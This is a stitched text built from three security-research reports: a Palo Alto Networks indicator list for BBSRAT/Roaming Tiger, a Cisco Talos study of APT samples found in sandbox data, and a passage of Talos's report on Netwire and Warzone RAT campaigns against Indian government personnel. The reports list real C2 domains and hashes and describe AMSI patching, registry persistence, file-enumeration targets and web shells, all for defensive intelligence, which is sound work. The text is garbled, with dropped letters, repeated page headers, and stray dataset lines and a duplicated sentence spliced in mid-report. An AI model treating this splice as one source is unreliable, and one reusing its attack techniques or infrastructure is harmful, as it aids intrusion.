Network Protocol HTTP C2 Server(s) 211.44.42[. ]55 support.yandexmailru[. ]kr MD5 B4927EAC9715014E17C53841FEEDF4E1 SHA1 26E8CFD13175B67C12FC72A11FBDBC749F0B61C0 SHA256 2D81D65D09BF1B864D8964627E13515CEE7DEDDFBD0DC70B1E67F123AB91421E Compile Time 2014122617:17:00UTC Network Protocol HTTPS C2 Server(s) kop[.]gupdiic[. ]com panaba[.]empleoyplan[. ]com peak[.]measurepeak[. ]com MD5 41A02CAF0A0D32FAD5418425F9973616 SHA1 CC83EA6EF4763F24193D56359590BB34127DD36E SHA256 7438ED5F0FBE4B26AFED2FE0E4E4531FC129A44D8EA416F12A77D0C0CD873520 Compile Time 2015082509:33:57UTC Network Protocol HTTPS C2 Server(s) herman[.]eergh[. ]com prdaio[.]unbrtel[. ]com loomon[.]gupdicc[. ]com MD5 AA59EE1E40D22BD22CEE19B8B6A17DF3 SHA1 963E0AD3EC717253A8E74F45D3C552107D6ECACA SHA256 6FAE5305907CE99F9AB51E720232EF5ACF1950826DB520A847BF8892DC9578DE Compile Time 2014122617:17:00UTC Network Protocol HTTPS C2 Server(s) winwordupdate[.]dynu[. ]com MD5 B934BF027EC3A9DFCAE9D836D68BAB75 SHA1 E9744516E621B233C44F5854C0DF63FFDD62FB81 SHA256 0BAF36CA2D3772FDFF989E2B7E762829D30DB132757340725BB50DEE3B51850C Compile Time 2014122617:17:00UTC Network Protocol HTTPS 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 10/12 C2 Server(s) transactiona[. ]com financenewsru[. ]net MD5 7533E65A16B4B3BA451A141F389D3A30 SHA1 CB46E6234DA0A9C859C1F71FFEB86100284A0142 SHA256 D579255852720D794349AE2238F084C6393419AF38479F3D0E3D2A21C9EB8E18 Compile Time 2014122617:17:00UTC Network Protocol HTTPS C2 Server(s) winwordupdate[.]dynu[. ]com adobeflashupdate1[.]strangled[. ]net MD5 8CD233D3F226CB1BF6BF15ACA52E0E36 SHA1 B955CA4AA8F7181C2252C4699718F6FEFC0B9CE3 SHA256 95F198ED29CF3F7D4DDD7CF688BFEC9E39D92B78C0A1FD2288E13A92459BDB35 Compile Time 2015092206:16:44UTC Network Protocol HTTP C2 Server(s) www[.]testzake[. ]com PowerSploitDownloader MD5 0AA391DC6D9EBEC2F5D0EE6B4A4BA1FA SHA1 D238C157F87204D03C9005AF9A9CBC28C108E50A SHA256 71DC584564B726ED2E6B1423785037BFB178184419F3C878E02C7DA8BA87C64D Compile Time 2015092111:59:18UTC Network Protocol HTTP C2 Server(s) www[.]testzake[. ]com IOCs Hashes 61a692e615e31b97b47a215479e6347fbd8e6e33d7c9d044766b4c1d1ae1b1fb 22592a32b1193587a707d8b20c04d966fe61b37f7def7613d9bb91ff2fe9b13b 2d81d65d09bf1b864d8964627e13515cee7deddfbd0dc70b1e67f123ab91421e d579255852720d794349ae2238f084c6393419af38479f3d0e3d2a21c9eb8e18 0fc52c74dd54a97459e964b340d694d8433a3229f61e1c305477f8c56c538f27 567a5b54d6c153cdd2ddd2b084f1f66fc87587dd691cd2ba8e30d689328a673f 95f198ed29cf3f7d4ddd7cf688bfec9e39d92b78c0a1fd2288e13a92459bdb35 6fae5305907ce99f9ab51e720232ef5acf1950826db520a847bf8892dc9578de b1737f3a1c50cb39cd9938d5ec3b4a6a10b711f17e917886481c38967b93e259 71dc584564b726ed2e6b1423785037bfb178184419f3c878e02c7da8ba87c64d 4ea23449786b655c495edf258293ac446f2216464b3d1bccb314ef4c61861101 0baf36ca2d3772fdff989e2b7e762829d30db132757340725bb50dee3b51850c 012ec51657d8724338a76574a39db4849579050f02c0103d46d406079afa1e8b e049bd90028a56b286f4b0b9062a8df2ab2ddf492764e3962f295e9ce33660e3 77a2e26097285a794e42c9e813d14936d0e7a1dd3504205dd6b28a71626f8c3c 5aa7db3344aa76211bbda3eaaccf1fc1b2e76df97ff9c30e7509701a389bd397 fc4b465ee8d2053e9e41fb0a6ae32843e4e23145845967a069e584f582279725 44171afafca54129b89a0026006eca03d5307d79a301e4a8a712f796a3fdec6e 7438ed5f0fbe4b26afed2fe0e4e4531fc129a44d8ea416f12a77d0c0cd873520 13d0bd83a023712b54c1dd391dfc1bc27b22d9df4fe3942e2967ec82d7c95640 Domains adobeflashupdate.dynu[. ]com adobeflashupdate1.strangled[. ]net cdaklle.housejjk[. ]com futuresgolda[. ]com herman.eergh[. ]com jowwln.cocolco[. ]com kop.gupdiic[. ]com loomon.gupdiicc[. ]com pagbine.ofhloe[. ]com panaba.empleoyplan[. ]com 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 11/12 peak.measurepeak[. ]com prdaio.unbrtel[. ]com support.yandexmailru[. ]kr systemupdate5.dtdns[. ]net testzake[. ]com transactiona[. ]com wap.gxqtc[. ]com wap.hbwla[. ]com wap.kylxt[. ]com windowsupdate.dyn[. ]nu winwordupdate.dynu[. ]com www.testzake[. ]com www.yunw[. ]top 7PingbacksTrackbacks December23,20155:04PM 20151223ThreatIntelligenceForce December23,201510:13PM HackersaretargetingRussianorganizationsforespionageSecurityAffairs December23,201510:28PM RoamingTigerHackerstargetsRussianorganizationsSecurityAffairs December23,201510:35PM FortifyingNetworksHackersaretargetingRussianorganizationsforespionage December24,20152:31AM RoamingTigerHackerstargetsRussianorganizationsforespionageOSINFO December24,20159:28PM BBSRATAroundCyber December25,20157:23AM RoamingTigerHackerstargetsRussianorganizationsforespionageTailorTechnology PostYourComment Name Email Website PostComment Home Government Partners Unit42ThreatIntelligence TechnicalDocumentation AdvancedEndpointProtection GetUpdates http://researchcenter.paloaltonetworks.com/facebook http://researchcenter.paloaltonetworks.com/twitter http://researchcenter.paloaltonetworks.com/google_plus https://www.addtoany.com/shareurlhttp3A2F2Fresearchcenter.paloaltonetworks.com2F20152F122Fbbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger2FtitleBBSRAT20Attacks20Targeting20Russian20Organizations20Linked20to20Roaming20TigerdescriptionUnit204220finds20BBSRAT20attacks20targeting20Russian20organizations20linked20to20Roaming20Tiger. http://www.threatiforce.com/index.php/2015/12/24/2015-12-23-secnews/ http://securityaffairs.co/wordpress/43004/cyber-crime/russian-organizations-victims-espionage.html http://securityaffairs.co/wordpress/43004/cyber-crime/roaming-tiger-hacking-campaign.html https://fortifyingnetworks.com/hackers-are-targeting-russian-organizations-for-espionage/ http://opensourcesinfo.org/roaming-tiger-hackers-targets-russian-organizations-for-espionage/ https://aroundcyber.wordpress.com/2015/12/24/bbsrat-palo-alto-networks-report/ https://www.tailortechnology.eu/index.php/2015/12/24/roaming-tiger-hackers-targets-russian-organizations-for-espionage/ http://researchcenter.paloaltonetworks.com/ http://researchcenter.paloaltonetworks.com/government http://researchcenter.paloaltonetworks.com/partners http://researchcenter.paloaltonetworks.com/unit42 http://researchcenter.paloaltonetworks.com/technical-documentation http://researchcenter.paloaltonetworks.com/endpoint-2 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - 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Malware sandboxes are automated dynamic analysis systems that execute programs in a controlled environment. Within the large volumes of samples submitted daily to these services, some submissions appear to be different from others and show interesting characteristics. At USENIX Security 2015 I presented a paper in which we proposed a method to automatically discover malware developments from samples submitted to online dynamic analysis systems. The research was conducted by dissecting the Anubis sandbox dataset which consisted of over 30M samples collected in six years. The methodology we proposed was effective and we were able to detect many interesting cases in which the malware authors directly interacted with the sandbox during the development phase of the threats. Another interesting result that came from the research concerns the samples attributed to Advanced Persistent Threat (APT) campaigns. Surprisingly, some of the malware samples used in these sophisticated attacks had been submitted to the Anubis sandbox months -- sometimes even years -- before the attack had been attributed to the proper APT campaign by a security vendor. To be perfectly clear, we are not saying that it took security vendors months or years to detect a threat. Most times, we are able to detect the threats in no more than a few hours. It is just that the malware samples were mislabeled and not properly associated with APT campaigns. In general, the same goes for non-APT malware campaigns. In this blog post, we tried to see if the same applied to the Cisco dataset. Specically, we chose ten APT campaigns, -- some of which were already covered in the Usenix paper. We decided to inspect two different datasets: our incoming sample feeds / malware zoo, and the telemetry associated with our Advanced Malware Protection (AMP) solutions. Talos receives samples from over 100 external feeds ranging from anti-malware companies to research centers, while the AMP dataset RESEARCH SPOTLIGHT: NEEDLES IN A HAYSTACK https://twitter.com/emd3l https://www.usenix.org/conference/usenixsecurity15/technical-sessions http://www.s3.eurecom.fr/docs/usenixsec15_graziano.pdf https://anubis.iseclab.org/ http://talosintel.com/ 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack http://blog.talosintel.com/2016/01/haystack.html 2/10 contains telemetry from the Cisco AMP user-base. The remaining part of this post is organized as follows. First, we show the APT campaigns we investigated. Second, we summarize the results of the analysis of the Talos dataset. Third, we show the results from the AMP dataset. Finally, we summarize our ndings. APT CAMPAIGN MADE PUBLIC Beebus February 2013 Arid Viper February 2015 Red October January 2013 Equation February 2015 Pacic RAT July 2014 Regin November 2014 Aurora January 2010 Pitty Tiger July 2014 Net Traveller June 2013 BrutPOS July 2014 The ten malware campaigns in the table above garnered signicant media attention when discovered, with some of them clearly falling in the area of APT. They were found by different security companies between 2010 and 2015, having different levels of sophistication and different objectives. Moreover, these APT campaigns were not limited to western countries. They have affected organizations all over the world. Most of the time, connecting the dots and drawing relationships between samples and campaigns take months and many experts. This means the security company that releases a detailed report documenting the campaign is aware of it long before the information is made public. However, we believe the public release date is still a good metric, because it is the moment at which all the other security companies and the entire world are made aware of these threats. Another important aspect during an APT investigation is attribution. While detection is done quickly, attribution for these campaigns is often an open and hard problem to solve. Most of the times the perpetrators remain unknown even after months of work by APT CAMPAIGNS http://www.cisco.com/c/en/us/solutions/enterprise-networks/advanced-malware-protection/index.html 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack http://blog.talosintel.com/2016/01/haystack.html 3/10 Most of the times the perpetrators remain unknown even after months of work by security researchers. However, sometimes researchers are able to connect the dots and attribute the attack to a threat actor. This was the case for some of the APT campaigns discussed so far. Some of these threats have been attributed to state-sponsored actors, others to cyber criminals or to espionage attacks. However, like in the USENIX publication, in this post we will make no speculation about attribution. In the next paragraphs, we will present the results of searching for samples associated with these APT campaigns in our datasets. APT CAMPAIGN AVG DAYS BEFORE APT CAMPAIGN PUBLICALLY IDENTIFIED Beebus 574 Arid Viper 178 Red October 68 Equation 1371 Pacic RAT 455 Regin 1018 Aurora 80 Pitty Tiger 602 Net Traveller 105 BrutPOS 68 This table shows the results of the analysis of our incoming sample feeds/malware zoo. For every campaign, we checked in our malware zoo to see when they had been initially submitted to us. Given that we know when information about these APT campaigns was made public, we can compute the number of days it took the security community to publicly tie the samples to an APT campaign, even though the samples had been marked malicious for other reasons. On average, these samples went for 458 days before being tied to an APT campaign. The table presents the average number of days for the entire campaign, and we go from a few months as in the case of Aurora to more than three years for Equation. Notice that these gures come from our malware zoo which collects samples from external sources and in general are a good indicator given the amount of samples received per day. Notice that these numbers vary based on the dataset. TALOS DATASET 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack http://blog.talosintel.com/2016/01/haystack.html 4/10 dataset. The vast majority of the submissions come from big organizations such as Antivirus companies. Interestingly, a signicant percentage is submitted by VirusTotal. For this reason we decided to check the submitters for possible links and intelligence information. As already documented by Dixon, information about the submitters of samples is not publicly available, but can partially be retrieved from their Intelligence service. For every sample, it is possible to know a hash (a hexadecimal unique identier of the submitter), the country (from the geolocalization of the IP address of the submitter) and the method (the way the sample has been submitted, for instance via the web interface or the APIs). This opaque information complicates the analysis a little bit, but it is still possible to obtain interesting results. SUBMITTER CAMPAIGNS 6exxxxxx AridViper Nettraveller RedOctober BrutPOS PittyTiger 14xxxxxx AridViper Regin 22xxxxxx AridViper Regin Nettraveller BrutPOS PittyTiger 20xxxxxx AridViper Nettraveller PacicRAT BrutPOS PittyTiger 5exxxxxx Equation Regin BrutPOS Auror 72xxxxxx Equation Regin BrutPOS 4bxxxxxx Regin 3bxxxxxx Regin cdxxxxxx Beebus PittyTiger Nettraveller BrutPOS b4xxxxxx Aurora The table above summarizes our ndings from VirusTotal. The rst column shows the hash of the submitter. This means that the submitter sent one or more samples of a given APT campaign to VirusTotal before its public release. One can only speculate on who these submitters are. They could very likely be the threat actors themselves, testing to see if their malware is detected by the AV companies. They could also be security researchers or vendors who are trying to get information from VirusTotal. It is noteworthy that in most of the cases the same submitters uploaded samples belonging VIRUS TOTAL https://www.virustotal.com/ http://blog.9bplus.com/watching-attackers-through-virustotal/ 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack http://blog.talosintel.com/2016/01/haystack.html 5/10 noteworthy that in most of the cases the same submitters uploaded samples belonging to different APT campaigns. We went through our logs to search for entries that contained hashes related to the ten APT campaigns we have been investigating. Interestingly, we got hits for eight different hashes belonging to three different campaigns that were discovered on Cisco AMP customer machines before the APT campaign was publicly identied. APT CAMPAIGN (NUM OF SAMPLES) DAYS BEFORE APT CAMPAIGN PUBLICALLY IDENTIFIED Arid Viper (1 SAMPLE) -50 Equation (1 SAMPLE) 1 BrutPOS (6 SAMPLES) -64 As illustrated in the table above, we identied eight malicious samples that were in the wild before being associated with APT campaigns. It is important to repeat that most of these samples were detected as malicious the moment they rst appeared on our customers machines. Surprisingly, one sample of the Equation APT campaign (fanny worm) was found and blocked on a Cisco AMP customers machine a day after the public release of the Kaspersky report. HASH (SHA256) DATE DISPOSITION APT 003315B0AEA2FCB9F77D29223DD8947D0E6792B3A0227E054BE8EB2A11F443D9 2015-02-17 MALICIOUS EQUATION 003315B0AEA2FCB9F77D29223DD8947D0E6792B3A0227E054BE8EB2A11F443D9 2015-02-17 MALICIOUS EQUATION 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 2014-12-20 UNKNOWN ARID VIPER 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 2014-12-20 MALICIOUS ARID VIPER 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 2015-01-02 MALIICIOUS ARID VIPER 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 2015-01-16 MALICIOUS ARID VIPER 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 2015-02-12 MALICIOUS ARID VIPER CISCO AMP https://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack http://blog.talosintel.com/2016/01/haystack.html 6/10 14BFDA4A4ACA1276388702D0FB7629AF120FF34C1ACDEB7613815F2981C99832 2014-05-07 MALICIOUS BRUTPOS 508909C8A00026C904F52099DD62BBF4062B4E8E40FC0601BD9E13570514B4F5 2014-05-06 MALICIOUS BRUTPOS 7170A07BCB5B0467A75CBD17A1A1877AEC3C8EA43C45D3BED6AB5E6C95A62713 2014-05-06 MALICIOUS BRUTPOS 9A10916AD0F43FA3376C2E54FD5CFDD06D684B3A19895ED4107FAF9F3313DCDA 2014-05-07 MALICIOUS BRUTPOS E28EABEB678AFB5E172F4127C5692E742809FD86DFA8478C1DC6F9C13B2A8E5F 2014-05-06 UNKNOWN BRUTPOS E28EABEB678AFB5E172F4127C5692E742809FD86DFA8478C1DC6F9C13B2A8E5F 2014-05-07 MALICIOUS BRUTPOS Based on our logs, Cisco AMP found the sample 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 twice on 2015-12-20. It was unknown to AMP the rst time, but detected as malicious the second time. E28EABEB678AFB5E172F4127C5692E742809FD86DFA8478C1DC6F9C13B2A8E5F was unknown to AMP on 2014-05-06, but detected as malicious the next time it was seen on a customers machine on 2014-05-07. In all the other cases the samples were already considered malicious. As the number of threats per day continues to increase, the number of malware samples security companies automatically analyze increases. Much of the analysis is comprised of dynamic analysis systems, such as sandboxes, to determine whether the sample is malicious or not. These samples are then stored for further analysis. Due to the large numbers of samples, in many organizations the vast majority of these samples remain categorized solely on the initial sandbox run. Even when these samples are shared among companies or via other services like VirusTotal some malware samples can go unnoticed for months because they are marked as malware but given some generic name, such as Win. Trojan. Agent. Then we are shocked when a security company discovers an APT campaign that has supposedly gone unnoticed for years. The results of this post conrm the assumption of the Usenix paper, also based on a dataset of a big security company and similar results are expected throughout the security industry. Many times, malware is initially submitted to sandbox systems and marked as malicious based on the output of the sandbox. Then the authors use that information to tweak the sample to avoid detection in future sandbox runs through various evasion tactics. In other situations, the initial sample may not even be agged as malicious due to evasion techniques being utilized. By performing statistical analysis and reducing the data through clustering, even samples that avoid initial sandbox detection CONCLUSION http://www.s3.eurecom.fr/docs/usenixsec15_graziano.pdf 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack http://blog.talosintel.com/2016/01/haystack.html 7/10 S H A R E T H I S P O S T reducing the data through clustering, even samples that avoid initial sandbox detection can potentially be detected as malicious. There is clearly a need for more advanced analytical systems to identify campaigns and link the samples together. Identifying todays threats requires multiple layers of protection at various points across the network, along with constantly updated threat intelligence information. Cisco analyzes a massive amount of telemetry data and is able to ag malware as malicious based on multiple factors. By performing manual and programmatic analysis of sandbox data in conjunction with identifying behaviors which are associated with malicious activity, even unknown APT campaigns can be neutralized. P O S T E D B Y E A R L C A R T E R AT 1 1 : 0 3 A M L A B E L S : A P T , C A M P A I G N , M A L W A R E , TA L O S , W H I T E P A P E R Signout Notifyme Enter your comment... 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All rights reserved. View our Privacy Policy here. http://www.cisco.com/web/siteassets/legal/privacy_full.html 1/32 Operation Armor Piercer: Targeted attacks in the Indian subcontinent using commercial RATs blog.talosintelligence.com/2021/09/operation-armor-piercer.html By Asheer Malhotra, Vanja Svajcer and Justin Thattil. Cisco Talos is tracking a campaign targeting government personnel in India using themes and tactics similar to APT36 (aka Mythic Leopard and Transparent Tribe). This campaign distributes malicious documents and archives to deliver the Netwire and Warzone (AveMaria) RATs. The lures used in this campaign are predominantly themed around operational documents and guides such as those pertaining to the Kavach (hindi for armor) two-factor authentication (2FA) application operated by Indias National Informatics Centre (NIC). This campaign utilizes compromised websites and fake domains to host malicious payloads, another tactic similar to Transparent Tribe. Whats new? Cisco Talos recently discovered a malicious campaign targeting government employees and military personnel in the Indian sub-continent with two commercial and commodity RAT families known as NetwireRAT (aka NetwireRC) and WarzoneRAT (aka Ave Maria). The attackers delivered a variety of lures to their targets, predominantly posing as guides related to Indian governmental infrastructure and operations https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html https://twitter.com/asheermalhotra https://twitter.com/vanjasvajcer https://twitter.com/ThattilJustin https://www.nic.in/ https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria 2/32 such as Kavach and I.T.-related guides in the form of malicious Microsoft Office documents (maldocs) and archives (RARs, ZIPs) containing loaders for the RATs. Apart from artifacts involved in the infection chains, weve also discovered the use of server-side scripts to carry out operational tasks such as sending out malicious emails and maintaining presence on compromised sites via web shells. This provides additional insight into the attackers operational TTPs. Some of these lures and tactics utilized by the attackers bear a strong resemblance to the Transparent Tribe and SideCopy APT groups, including the use of compromised websites and fake domains. How did it work? This campaign uses a few distinct, yet simple, infection chains. Most infections use a maldoc that downloads and instruments a loader. The loader is responsible for downloading or decrypting (if embedded) the final RAT payload and deploying it on the infected endpoint. In some cases, weve observed the use of malicious archives containing a combination of maldocs, loaders and decoy images. The RAT payloads are relatively unmodified, with the command and control (C2) IPs and domains being the most pivotal configuration information. So what? This campaign illustrates another instance of a highly motivated threat actor using a set of commercial and commodity RAT families to infect their victims. These RATs are packed with many features out-of-the-box to achieve comprehensive control over the infected systems. It is also highly likely that these malware families establish footholds into the victims networks to deploy additional plugins and modules. Infection chains The earliest instance of this campaign was observed in December 2020 utilizing malicious Microsoft Office documents (maldocs). These maldocs contain malicious VBA macros that download and execute the next stage of the infection the malware loader. The maldocs content ranges from security advisories, to meeting schedules, to software installation notes. These maldocs contain malicious macros that download and execute the next stage payload on the victims endpoint. The final payload is usually a RAT that can perform a multitude of malicious operations on the infected endpoint. https://talosintelligence.com/resources/306 https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html https://blog.talosintelligence.com/2021/07/sidecopy.html 3/32 The maldocs pose as documents related to either meeting schedules pertinent to the victims, or as technical guides related to the Government of Indias IT infrastructure. It is likely that these files are either delivered as attachments or links in spear-phishing emails where the verbiage is meant to social engineer the victims into opening the maldoc attachments or downloading them from an attacker-controlled link. Some file names used are: KAVACH-INSTALLATION-VER-1.docm Security-Updates.docm Online meeting schedule for OPS.doc schedule2021.docm Interestingly, weve observed the use of Kavach-themed maldocs and binaries being used in recent SideCopy attacks. Malicious macro in maldoc downloading and executing the next stage payload. Stage 2 Loaders The payload is usually loader binaries aimed at instrumenting the final malware payload. These loaders will use either of the following techniques to instrument the final malware payloads on the endpoint: 4/32 Download payload from remote location and activate using process hollowing into itself or a target process. Decode embedded payload and activate using process hollowing. Depending on the variants, the loaders may also perform the following peripheral activities: Disable AMSI scanning by patching the first six bytes of the AmsiScanBuffer API. Set up persistence via registry for the next stage malware payload dropped to disk using the HKCU\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run keys. Downloaders Throughout March and April 2021, the attackers utilized downloaders to download and execute the RAT payloads from remote locations. The earliest versions of this loader used RunPE DLLs to inject the malware payloads into a specified target process via hollowing. .NET loader utilizing RunPE.dll to inject AveMaria RAT payload into InstallUtil.exe. In May 2021, the attackers used the next iteration of their C-based downloader that reaches out to a decoy URL and only proceeds with execution if the communication process fails. 5/32 Downloader reaching out to a decoy URL and executing actual functionality in the catch code block. This downloader then proceeds to patch the AmsiScanBuffer API, establishes persistence for the next stage payload and invokes it at the end. The payload in the next stage consists of legitimate .NET-based applications trojanized with the ability to decrypt and deploy the NetwireRAT malware. 6/32 7/32 AMSI bypass, persistence and invocation by the loader. Toward the beginning of June 2021, the attackers started experimenting with the use of Pastebin as a payload-hosting platform. The downloader reached out to a Pastebin URL via cURL to download and inject the payload into its own running process. Evolution of the downloaders: Loaders with embedded payloads 8/32 The attackers modified open-source projects with code to load trojanized .NET-based binaries as loaders for the RATs dating as far back as December 2020. One of the droppers we analyzed is based on the Pangantucan Community High School library management system application. It is likely that the loader is based on a crypter available to the attackers since weve observed other crimeware families such as Formbook use similar loaders to infect their targets. The original application Initialization code for Form1. The same function in the trojanized version calls a constructor to the added ISectionEntry class. https://github.com/bwjctan1999/PCHS-Library-Manager https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook 9/32 The loader modified the Login form with a call to a function that loads a DLL loader with the assembly name SimpleUI. The second-stage loader is extracted from the .NET resource with the name Draw. The assembly extracted from the Draw resource is responsible for decoding and loading a Netwire injector module which is stored as the AuthorizationRule bitmap resource in the original trojanized loader. AutorizationRule blob parsed as a bitmap image (464,147 bytes long). The injector is responsible for deploying the netwireRAT binary present in its .NET resources into a target process, such as vbc.exe. Stage 3 Final payloads The Netwire and AveMaria RAT families are eventually downloaded and executed on the victim machine. In some cases, weve also discovered the deployment of custom .NET-based file enumerator modules that generate and exfiltrate file path listings of specific file extensions on the infected systems. Maldoc infection chain variation In one instance, the attackers used a different variation of the infection chain that starts with a malicious document delivered to the victim. The macro in the maldoc downloads and executes a VBScript (VBS) instead of directly downloading the malware payload. 10/32 The VBS contains many junk comments interlaced with the actual malicious code. The malicious code will execute an encoded PowerShell command to download the next payload. The PowerShell downloads a malicious archive and an unzip utility such as 7-Zip from a remote location. This utility unzips and runs the malware payload from the archive file. An example of the command used to unzip the archive is: 7za.exe x -y -aoa -bso0 -bse0 -bb0 -bd archive_file_path Decoded PowerShell commands to activate the next-stage payload. Infection chain diagram: 11/32 The final payload in this infection chain is a loader for AveMariaRAT. Archive-based infections In other infection attempts dating as far back as December 2020, the attackers hosted malicious ZIP archives containing malware payloads on compromised websites. It is likely that the URLs to these archive files were sent to victims to make them download and open the malware payload on their endpoints. 12/32 Three distinct archives containing the malicious payloads. The malicious binaries from the archives found thus far load and instrument NetwireRAT. Payload Analysis NetwireRAT Netwire is a highly versatile RAT consisting of multiple capabilities including: Stealing credentials from browsers. Execute arbitrary commands. Gather system information. File management operations such as write, read, copy, delete files, etc. Enumerate, terminate processes. Keylogging. 13/32 NetwireRAT keylogger. Ave Maria/WarzoneRAT Ave MariaRAT, also known as WarzoneRAT, is a commercial RAT available for purchase to malicious operators although there are cracked versions of Warzone available online. 14/32 15/32 WarzoneRAT capabilities (snip) as advertised by its authors. Like Netwire, WarzoneRAT is also packed with a variety of functionalities including: Remote desktop. Webcam capture. Credential stealing from browsers and email clients. File management operations such as write, read, copy, delete files etc. Execute arbitrary commands. Keylogging. Reverse shells. Enumerate, terminate processes. 16/32 17/32 Reverse shell functionality in WarzoneRAT. File enumerators Apart from the two RATs, weve also observed specialized reconnaissance malware being deployed on the victims endpoints instead of a RAT family. The attackers deployed a preliminary recon tool to enumerate specific folders looking for certain file extensions. The file listings/paths found are uploaded to an attacker- controlled C2 server. The locations targeted were: C:\Users\current_user\Downloads\ C:\Users\current_user\Desktop\ C:\Users\current_user\Documents\ C:\Users\current_user\OneDrive\Downloads\ C:\Users\current_user\OneDrive\Desktop\ C:\Users\current_user\OneDrive\Documents\ The file extensions searched for were: .txt, .doc, .dot, .wbk, .docx, .docm, .dotx, .dotm, .docb, .xls, .xlt, .xlm, .xlsx, .xlsm, .xltx, .xltm, .xlsb, .xla, .xlam, .xll, .xlw, .ppt, .pot, .pps, .pptx, .pptm, .potx, .potm, .ppam, .ppsx, .ppsm, .sldx, .sldm, .pdf 18/32 File enumerator malware module looking for specific file extensions. Analyses and observations Targeting An extremely common theme of maldocs and archives discovered in this campaign refers to the Government of Indias Kavach application. This is a two-factor authentication (2FA) application used by government employees to access their emails. This theme has been used recently by the SideCopy APTs campaigns targeting Indian government personnel, as well. Some of the malicious artifacts using the Kavach theme in the current campaign are named: KAVACH-INSTALLATION-VER-1.docm KAVACH-INSTALLATION-VER1.5.docm KAVACH-INSTALLATION-VER-3.docm kavach-2-instructions.zip kavach-2-instructions.exe KAVACH-INSTALLATION-V3.zip KAVACH-INSTALLATION-V3.exe Other file names indicating targeting of military and government personnel consist of: CONFD-PERS-Letter.docm PERS-CONFD-LETTER.exe 19/32 Admiral_Visit_Details_CONFD.exe Pay and Allowance Details.xls Compromised websites The attackers have relied on a combination of compromised websites and fake domains to carry out their operations a tactic similar to that of the Transparent Tribe APT group. However, what stands out in this campaign is the focus on compromising quasi-military or government-related websites to host malicious payloads. This might have been done to appear legitimate to victims and analysts. For example, the attackers compromised and maintained access to a quasi-defense-related website dsoipalamvihar[.]co[. ]in belonging to the Defence Services Officers Institute (DSOI) using it to host netwireRAT-related payloads since January 2021. In another instance, the attackers compromised the website for the Army Public Schools of India (apsdigicamp[. ]com) to host a variety of malicious archives serving NetwireRAT again. On the other hand, the attackers used a fake domain govrn[. ]xyz in July 2021 to host maldocs for their infection chains. 20/32 Malicious scripts and payloads hosted on a compromised website. 21/32 Infrastructure The compromised websites were used heavily to host artifacts from maldocs to RATs. However, these websites hosted a few other malicious artifacts as well. The artifacts scripts were used as: Emailers. Web shells. CSRF PoC generator. File uploaders. None of these scripts have been written from scratch or customized heavily by the attackers. This practise is in sync with their RAT deployments neither the RAT payloads nor the infrastructure scripts have been modified except their configurations. The actual effort instead is put into social engineering and infecting victims. Proliferation through emails A variety of mailers have been used by the attackers to proliferate the maldocs, archives and download links: TeamCC ninjaMailer v1.3.3.7 Leaf PHPMailer 2.7 Leaf PHPMailer 2.8 These PHP-based scripts are capable of configuring SMTP options and generating spear-phishing emails that can be distributed to victims with malicious payloads or links. https://github.com/merttasci/csrf-poc-generator 22/32 TeamCC NinjaMailer hosted by the attackers on one of the compromised sites. Administration The attackers utilized two types of management scripts to administer the compromised websites. PHP and Perl-based web shells maintain browser-based access to the sites and perform administrative actions such as file management, process management and viewing file contents.
221
The web shells used are: PhpSpy b374k 2.7 Older b374k web shell b374k web shells login page on the compromised site.
45,031
45,401
371
data/reports_final/0221.txt
The web shells used are: PhpSpy b374k 2.7 Older b374k web shell b374k web shells login page on the compromised site. 23/32 Older Perl-based b374k web shell hosted on a compromised site. The attackers also deployed a file uploader utility (created by Pakistan Haxors Crew) to upload files to the sites without having to go through the web shells. File uploader. 24/32 Conclusion This campaign has been ongoing since the end of 2020 and continues to operate today. The attackers initially deployed Netwire and Warzone RATs on the infected endpoints. The use of these RATs benefits an adversary twofold it makes attribution difficult and saves the effort to create bespoke implants. Beginning in July 2021, however, we observed the deployment of the file enumerators alongside the RATs. This indicates that the attackers are expanding their malware arsenal to target their victims: military and government personnel in India. Infection tactics including government-themed lures, deployment of commodity/commercial RATs and file enumerators and the use of compromised and attacker-owned domains indicates a strong resemblance to SideCopy and Transparent Tribe. Unlike many crimeware and APT attacks, this campaign uses relatively simple, straightforward infection chains. The attackers have not developed bespoke malware or infrastructure management scripts to carry out their attacks, but the use of prebaked artifacts doesnt diminish the lethality of these attacks. In fact, ready-made artifacts such as commodity or cracked RATs and mailers allow the attackers to rapidly operationalize new campaigns while focusing on their key tactic: tricking victims into infecting themselves. Coverage Ways our customers can detect and block this threat are listed below. 25/32 Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here. Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks. Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent 